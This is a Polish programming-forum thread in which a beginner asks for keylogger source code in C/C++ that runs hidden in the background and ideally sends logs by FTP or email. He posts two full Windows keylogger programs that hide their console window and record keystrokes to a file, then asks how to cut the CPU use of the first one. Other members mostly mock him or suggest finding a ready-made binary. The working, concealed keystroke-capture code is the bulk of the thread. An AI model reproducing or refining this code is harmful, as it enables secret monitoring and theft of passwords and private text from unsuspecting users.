Pokaż wyniki 1 do 9 z 9

Temat: Source Keyloggera C/C++

  1. #1

    Domyślnie Source Keyloggera C/C++

    Witam.
    Na wstępie zaznaczam, że szukałem już mnóstwo czasu i kompilowałem już kilkanaście kodów. Ogólnie proszę o jakiś dobry kod źródłowy Keyloggera w C/C++. Potrzebuję do własnych zastosowań, między innymi takich, jak zapisywanie tekstu z pracy pisanych na komputerze w celu zrobienia pewnego rodzaju kopii. Może wysyłać logi na FTP/E-Maila. Ma działać w tle i ma w ogóle dobrze działać. Ma zabierać mało CPU*.
    *Próbowałem już dosyć dobre, ale zabierały 80%-100%, gdyż były w nieskończonej, niespowolnionej odpowiednio pętli, próbowałem dodawać "Sleep(10);", ale nie działało, tak, jak miało działać.
    Dla dowodu i ewentualnie Waszych porad jak zmniejszyć zużycie CPU(w wypadku 1. kodu) podaję część kodów z tych, które używałem.
    Kod:
    #include <iostream>
    using namespace std;
    #include <windows.h>
    #include <winuser.h>
    int Save (int key_stroke, char *file);
    void Stealth();
    
    int main()
    {
    Stealth();
    char i;
    
    while (true)
    {
        Sleep(10);//dodałem i nic...
    for(i = 8; i <= 190; i++)
    {
    if (GetAsyncKeyState(i) == -32767)
    Save (i,"LOG.txt");
    }
    }
    system ("PAUSE");
    return 0;
    }
    
    /* *********************************** */
    
    int Save (int key_stroke, char *file)
    {
    if ( (key_stroke == 1) || (key_stroke == 2) )
    return 0;
    
    FILE *OUTPUT_FILE;
    OUTPUT_FILE = fopen(file, "a+");
    
    cout << key_stroke << endl;
    
    if (key_stroke == 8)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
    else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n");
    else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
    else if (key_stroke == VK_TAB)
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
    else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
    else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
    else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
    else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
    else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
    else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
    else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
    else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
    else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
    else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
    else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);
    
    fclose (OUTPUT_FILE);
    return 0;
    }
    
    /* *********************************** */
    
    void Stealth()
    {
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    }

  2. #2

    Domyślnie

    Kod:
    #include <iostream>
    #include <fstream>
    #include <stdio.h>
    #include <string.h>
    #include <windows.h>
    using namespace std;
    int main()
    {
        // Hides the console, so runs in background
        //FreeConsole();
        HWND Stealth;
        AllocConsole();
        Stealth = FindWindowA("ConsoleWindowClass", NULL);
        ShowWindow(Stealth,0);
        ofstream keyLog;
        // our log file
        keyLog.open("loggerLog.txt");
        while(true)
        {
            // Now define all keys that we wish to capture and log //
            // Mouse Input    //
            if(GetAsyncKeyState(VK_LBUTTON)&1)    {    keyLog << "[MOUSE-LEFT]";        Sleep(100);    };
            if(GetAsyncKeyState(VK_RBUTTON)&1)    {    keyLog << "[MOUSE-RIGHT]";        Sleep(100);    };
            if(GetAsyncKeyState(VK_MBUTTON)&1)    {    keyLog << "[MOUSE-MIDDLE]";        Sleep(100);    };
            //if(GetAsyncKeyState(VK_XBUTTON1)&1) {    keyLog << "[MOUSE-XBUTTON-1]";    Sleep(100); };
            //if(GetAsyncKeyState(VK_XBUTTON2)&1) {    keyLog << "[MOUSE-XBUTTON-2]";    Sleep(100); };
            // lower case
            if(GetAsyncKeyState(0x41)&1)    {    keyLog << 'a';    Sleep(100);    };
            if(GetAsyncKeyState(0x42)&1)    {    keyLog << 'b';    Sleep(100);    };
            if(GetAsyncKeyState(0x43)&1)    {    keyLog << 'c';    Sleep(100);    };
            if(GetAsyncKeyState(0x44)&1)    {    keyLog << 'd';    Sleep(100);    };
            if(GetAsyncKeyState(0x45)&1)    {    keyLog << 'e';    Sleep(100);    };
            if(GetAsyncKeyState(0x46)&1)    {    keyLog << 'f';    Sleep(100);    };
            if(GetAsyncKeyState(0x47)&1)    {    keyLog << 'g';    Sleep(100);    };
            if(GetAsyncKeyState(0x48)&1)    {    keyLog << 'h';    Sleep(100);    };
            if(GetAsyncKeyState(0x49)&1)    {    keyLog << 'i';    Sleep(100);    };
            if(GetAsyncKeyState(0x4A)&1)    {    keyLog << 'j';    Sleep(100);    };
            if(GetAsyncKeyState(0x4B)&1)    {    keyLog << 'k';    Sleep(100);    };
            if(GetAsyncKeyState(0x4C)&1)    {    keyLog << 'l';    Sleep(100);    };
            if(GetAsyncKeyState(0x4D)&1)    {    keyLog << 'm';    Sleep(100);    };
            if(GetAsyncKeyState(0x4E)&1)    {    keyLog << 'n';    Sleep(100);    };
            if(GetAsyncKeyState(0x4F)&1)    {    keyLog << 'o';    Sleep(100);    };
            if(GetAsyncKeyState(0x50)&1)    {    keyLog << 'p';    Sleep(100);    };
            if(GetAsyncKeyState(0x51)&1)    {    keyLog << 'q';    Sleep(100);    };
            if(GetAsyncKeyState(0x52)&1)    {    keyLog << 'r';    Sleep(100);    };
            if(GetAsyncKeyState(0x53)&1)    {    keyLog << 's';    Sleep(100);    };
            if(GetAsyncKeyState(0x54)&1)    {    keyLog << 't';    Sleep(100);    };
            if(GetAsyncKeyState(0x55)&1)    {    keyLog << 'u';    Sleep(100);    };
            if(GetAsyncKeyState(0x56)&1)    {    keyLog << 'v';    Sleep(100);    };
            if(GetAsyncKeyState(0x57)&1)    {    keyLog << 'w';    Sleep(100);    };
            if(GetAsyncKeyState(0x58)&1)    {    keyLog << 'x';    Sleep(100);    };
            if(GetAsyncKeyState(0x59)&1)    {    keyLog << 'y';    Sleep(100);    };
            if(GetAsyncKeyState(0x5A)&1)    {    keyLog << 'z';    Sleep(100);    };
            //NUMPAD
            if(GetAsyncKeyState(VK_NUMPAD0)&1)    { keyLog << '0', Sleep(100); };
            if(GetAsyncKeyState(VK_NUMPAD1)&1)    { keyLog << '1', Sleep(100); };
            if(GetAsyncKeyState(VK_NUMPAD2)&1)    { keyLog << '2', Sleep(100); };
            if(GetAsyncKeyState(VK_NUMPAD3)&1)    { keyLog << '3', Sleep(100); };
            if(GetAsyncKeyState(VK_NUMPAD4)&1)    { keyLog << '4', Sleep(100); };
            if(GetAsyncKeyState(VK_NUMPAD5)&1)    { keyLog << '5', Sleep(100); };
            if(GetAsyncKeyState(VK_NUMPAD6)&1)    { keyLog << '6', Sleep(100); };
            if(GetAsyncKeyState(VK_NUMPAD7)&1)    { keyLog << '7', Sleep(100); };
            if(GetAsyncKeyState(VK_NUMPAD8)&1)    { keyLog << '8', Sleep(100); };
            if(GetAsyncKeyState(VK_NUMPAD9)&1)    { keyLog << '9', Sleep(100); };
            // Other numpad keys
            if(GetAsyncKeyState(VK_MULTIPLY)&1)    { keyLog << '*',                    Sleep(100); };
            if(GetAsyncKeyState(VK_ADD)&1)        { keyLog << '+',                    Sleep(100); };
            if(GetAsyncKeyState(VK_SEPARATOR)&1){ keyLog << "[NUMPAD_SEPARATOR]",    Sleep(100); };
            if(GetAsyncKeyState(VK_SUBTRACT)&1)    { keyLog << '-',                    Sleep(100); };
            if(GetAsyncKeyState(VK_DECIMAL)&1)    { keyLog << '.',                    Sleep(100); };
            if(GetAsyncKeyState(VK_DIVIDE)&1)    { keyLog << '/',                    Sleep(100); };
            // Various format keys
            if(GetAsyncKeyState(VK_CAPITAL)&1)    {    keyLog << "[CAPS]";        Sleep(100);    };
            if(GetAsyncKeyState(VK_END)&1)        {    keyLog << "[END]";        Sleep(100);    };
            if(GetAsyncKeyState(VK_HOME)&1)        {    keyLog << "[HOME]";        Sleep(100);    };
            if(GetAsyncKeyState(VK_INSERT)&1)    {    keyLog << "[INSERT]";    Sleep(100);    };
            if(GetAsyncKeyState(VK_DELETE)&1)    {    keyLog << "[DELETE]";    Sleep(100);    };
            if(GetAsyncKeyState(VK_SPACE)&1)    {    keyLog << "[SPACE]";    Sleep(100);    };
            if(GetAsyncKeyState(VK_LSHIFT)&1)    {    keyLog << "[SHIFT]";    Sleep(100);    };
            if(GetAsyncKeyState(VK_RSHIFT)&1)    {    keyLog << "[SHIFT]";    Sleep(100);    };
            if(GetAsyncKeyState(VK_MENU)&1)        {    keyLog << "[ALT]";        Sleep(100); };
            if(GetAsyncKeyState(VK_RCONTROL)&1)    {    keyLog << "[CONTROL]";    Sleep(100);    };
            if(GetAsyncKeyState(VK_LCONTROL)&1)    {    keyLog << "[CONTROL]";    Sleep(100);    };
            if(GetAsyncKeyState(VK_CONTROL)&1)  {    keyLog << "[CONTROL]";    Sleep(100); };
            if(GetAsyncKeyState(VK_RWIN)&1)        {    keyLog << "[WINKEY]";    Sleep(100);    };
            if(GetAsyncKeyState(VK_LWIN)&1)        {    keyLog << "[WINKEY]";    Sleep(100);    };
            if(GetAsyncKeyState(VK_RETURN)&1)    {    keyLog << "[ENTER]";    Sleep(100);    };
            if(GetAsyncKeyState(VK_BACK)&1)        {    keyLog << "[BACKSPACE]";Sleep(100);    };
            // Numbers
            if(GetAsyncKeyState(0x30)&1)    {    keyLog << '0';    Sleep(100);    };
            if(GetAsyncKeyState(0x31)&1)    {    keyLog << '1';    Sleep(100);    };
            if(GetAsyncKeyState(0x32)&1)    {    keyLog << '2';    Sleep(100);    };
            if(GetAsyncKeyState(0x33)&1)    {    keyLog << '3';    Sleep(100);    };
            if(GetAsyncKeyState(0x34)&1)    {    keyLog << '4';    Sleep(100);    };
            if(GetAsyncKeyState(0x35)&1)    {    keyLog << '5';    Sleep(100);    };
            if(GetAsyncKeyState(0x36)&1)    {    keyLog << '6';    Sleep(100);    };
            if(GetAsyncKeyState(0x37)&1)    {    keyLog << '7';    Sleep(100);    };
            if(GetAsyncKeyState(0x38)&1)    {    keyLog << '8';    Sleep(100);    };
            if(GetAsyncKeyState(0x39)&1)    {    keyLog << '9';    Sleep(100);    };
            //Function Keys i.e F1, F2
            if(GetAsyncKeyState(VK_F1)&1)    { keyLog << "[F1]", Sleep(100); };
            if(GetAsyncKeyState(VK_F2)&1)    { keyLog << "[F2]", Sleep(100); };
            if(GetAsyncKeyState(VK_F3)&1)    { keyLog << "[F3]", Sleep(100); };
            if(GetAsyncKeyState(VK_F4)&1)    { keyLog << "[F4]", Sleep(100); };
            if(GetAsyncKeyState(VK_F5)&1)    { keyLog << "[F5]", Sleep(100); };
            if(GetAsyncKeyState(VK_F6)&1)    { keyLog << "[F6]", Sleep(100); };
            if(GetAsyncKeyState(VK_F7)&1)    { keyLog << "[F7]", Sleep(100); };
            if(GetAsyncKeyState(VK_F8)&1)    { keyLog << "[F8]", Sleep(100); };
            if(GetAsyncKeyState(VK_F9)&1)    { keyLog << "[F9]", Sleep(100); };
            if(GetAsyncKeyState(VK_F10)&1)    { keyLog << "[F10]", Sleep(100); };
            if(GetAsyncKeyState(VK_F11)&1)    { keyLog << "[F11]", Sleep(100); };
            if(GetAsyncKeyState(VK_F12)&1)    { keyLog << "[F12]", Sleep(100); };
        }
        return 0;
    }
    Nie będę podawał więcej, bo to zaśmiecanie trochę.
    Proszę o pomoc i dzięki.

  3. #3

    Domyślnie

    Niespowolniona odpowiednio pętla? sleep(10)? ty nie masz pojęcia. Zostaw te kody bo i tak nic z nich nie rozumiesz.

  4. #4

    Domyślnie

    Chodziło tylko o to, żeby to jakoś nazwać. Gdzie indziej widziałem też użyte właśnie "Sleep(10);". Wiem o co chodzi, składnię znam mniej, a uczę się C od niedawna.

  5. #5

    Domyślnie

    Cytat Napisał LuIMi Zobacz post
    Chodziło tylko o to, żeby to jakoś nazwać. Gdzie indziej widziałem też użyte właśnie "Sleep(10);". Wiem o co chodzi, składnię znam mniej, a uczę się C od niedawna.
    Nazwałeś adekwatnie do wiedzy jaką posiadasz na ten temat. Skoro składnie znasz to nie wiem z czym masz problem. Idź pisać a nie szukasz gotowca.

  6. #6

    Domyślnie

    Składnię znam mniej właśnie. Gdybym nie miał z tym większych problemów, to bym tu o tym nie pisał. Pomoże ktoś?

  7. #7

    Domyślnie

    Cytat Napisał LuIMi Zobacz post
    Składnię znam mniej właśnie. Gdybym nie miał z tym większych problemów, to bym tu o tym nie pisał. Pomoże ktoś?
    Znalezienie takiego kod równa się ze znalezieniem jego binarki. Czemu nie poszukasz binarki?
    A jeżeli masz problem z napisaniem własnego to wklej kawałek kodu który sprawia Ci trudność.

  8. #8

    Domyślnie

    Co to jest dokładnie (co miałeś na myśli) binarka? Bin File? Wpisywałem w Google i nic nie znalazło ciekawego. Jeśli chodzi o ten kod, to problemem jest duże użycie CPU, gdyż pętla działa tak szybko, jak może. Więc jak ją spowolnić/opóźnić? Żeby logi zapisywało, np. raz na 30 sekund. Chodzi mi o ten pierwszy kod.

  9. #9

    Domyślnie

    Cytat Napisał LuIMi Zobacz post
    Co to jest dokładnie (co miałeś na myśli) binarka? Bin File? Wpisywałem w Google i nic nie znalazło ciekawego. Jeśli chodzi o ten kod, to problemem jest duże użycie CPU, gdyż pętla działa tak szybko, jak może. Więc jak ją spowolnić/opóźnić? Żeby logi zapisywało, np. raz na 30 sekund. Chodzi mi o ten pierwszy kod.
    Miałem na myśli gotowy program. Co do pętli to nie wiem który kod masz na myśli.

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj